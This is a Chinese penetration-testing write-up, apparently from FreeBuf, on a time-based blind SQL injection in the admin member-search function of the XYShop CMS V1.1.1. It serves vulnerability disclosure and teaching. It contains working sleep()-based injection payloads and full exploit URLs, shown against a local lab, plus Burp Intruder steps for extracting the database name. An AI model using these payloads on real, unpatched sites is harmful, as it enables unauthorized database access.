『渗透测试』记一次简单的 CMS 漏洞挖掘 – 作者:宸极实验室Sec

前言

时光荏苒,岁月如梭。去年简单审计了某某CMS,本想混个证书结果却遇CNVD改变规则,无奈只混了一个漏洞编号,呜呜呜 ┭┮﹏┭┮ 。

0x01-环境&工具

PHP 5.4.45

Mysql 5.5.53

BurpSuite

Sublime Text

phpStudy

Seay源代码审计系统

0x02-基本信息

版本:逍遥商城系统V1.1.1

官网:http://www.qiye1000.com/xyshop/

漏洞类型:后台延时盲注

目录结构:

文件 名称
admin 后台管理目录
api.php api入口文件
attachment 图片等文件存放目录
cache 缓存文件目录
config.php 配置文件
data 备份文件等目录
hook hook文件
index.php 主页入口
install 安装文件
module 主页模块文件
public 公共资源
template 前端文件
user.php user模块入口

本地环境搭建-前台界面:http://10.211.55.4/xyshop/

image

本地环境搭建-后台界面:http://10.211.55.4/xyshop/admin/webadmin.php

image

本地环境搭建-网站数据库:xyshop

image

0x03-漏洞验证

3.1 确定数据库长度

经测试在后台用户中心模块中的会员列表功能处,存在一处搜索功能该功能点存在SQL注入漏洞。

image

在搜索框中输入想要搜索的信息,抓取数据包。

image

经测试发现存在延时盲注。漏洞存在name字段中,构造的payload如下:

'and(select*from(select+1)a/**/union/**/select+if(length(database())=6,sleep(5),1))='

payload会判断数据库的长度,如果数据库的长度等于6就会产生5秒的页面延时;如果不等于6就会立马返回页面。从基本信息得知我们创建的数据库名称是xyshop,长度等于6。
构造好如下URL在浏览器中进行访问,页面会产生延时并且会有报错信息。

URL:
http://10.211.55.4/xyshop/admin/webadmin.php?mod=user&userlevel_id=&name=%27and(select*from(select+1)a/**/union/**/select+if(length(database())=6,sleep(5),1))=%27&phone=&email=&orderby=point%7Cdesc

image

修改数据库的长度,页面立即返回并且没有错误信息提示。说明此长度不是数据库的长度。

URL:
http://10.211.55.4/xyshop/admin/webadmin.php?mod=user&userlevel_id=&name=%27and(select*from(select+1)a/**/union/**/select+if(length(database())=2,sleep(5),1))=%27&phone=&email=&orderby=point%7Cdesc

image

除此之外,我们还可以利用burpsuite进行漏洞验证,我们设置数据库的长度为变量。根据响应包的长度不同我们可以确定数据库的长度,数据库的长度是6。

image

image

通过上面的操作我们可以确定出数据库的长度为6。

3.2 确定数据库名称

构造如下payload我们可以跑出数据库的名称。

'and(select*from(select+1)a/**/union/**/select+if(ascii(substr(database(),1,1))=120,sleep(5),1))='

burpsuite中设置截取字符串的指定开始位置和字符的ascii值为变量。

image

Intruder模块的结果显示,有6个数据包的长度明显与别的不同,通过查看对应的ascii码,我们确定出是xyshop

image

0x04 代码审计

我们先抓包拿到漏洞点(后台用户中心模块中的会员列表的搜索功能处)的操作路径,如下:

http://10.211.55.4/xyshop/admin/webadmin.php?mod=user&userlevel_id=&name=&phone=&email=&orderby=point%7Cdesc

定位到webadmin.php的39行,mod参数值是user

image

此时引入了module中的user.php

image

user.php中找到会员列表功能源码。获取到用户输入的内容后直接进入db->pe_selectall操作中,没有任何过滤防护措施。

image

继续跟进db->pe_selectall,在db.class.php的208行。

image

pe_selectall会将参数抛向sql_selectall,继续跟进一下。

image

此时我们输入的数据会被直接拼接在语句中执行,造成SQL注入漏洞。
综上所示,后台用户中心模块中的会员列表搜索功能处存在延时盲注漏洞。不仅name字段存在该漏洞,phoneemailuserlevel等字段均存在延时盲注漏洞。
需开发人员对用户的输入进行过滤。

0x05-总结

漏洞挖掘流程:

(1) 下载源码:A5源码、站长之家、源码之家、系统官网等。

(2) 安装网站:PhpStudy

(3) 漏洞扫描、代码扫描:awvsxrayfortifySeay源代码审计系统。

(4) 了解程序的大致目录,比如:入口文件、配置文件、公共函数文件等。

入口文件:

index.phpadmin.php文件一般是整个程序的入口,通过index文件可以知道程序的架构、运行流程、包含哪些配置文件,包含哪些过滤文件以及包含哪些安全过滤文件,了解程序的业务逻辑。

配置文件:

一般类似config.php等文件,保存一些数据库相关信息、程序的一些信息。

公共函数文件:

通过阅读该文件,可以清晰掌握用户输入的数据,哪些被过滤,哪些没有过滤等信息。

(5) 通读全文法:纯粹的白盒审计,根据入口文件,进入各个功能进行审计,比较费时费力。

(6) 定向功能分析:该方法主要是根据程序的业务逻辑来审计。常见的功能漏洞:程序初始安装、文件上传、查询、删除等等。

(7) 敏感函数分析:大多数漏洞的产生是因为函数的使用不当导致的。我们只要找到这样的一些使用不当的函数,就可以快速挖掘想要的漏洞。可以使用Seay源代码审计系统 这款工具,主要是利用正则匹配一些高危函数、关键函数以及敏感关键字。然后,我们就可以分析判断敏感函数的上下文,追踪参数源头。

作者:hdsec

来源:freebuf.com 2021-07-26 09:43:37 by: 宸极实验室Sec

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论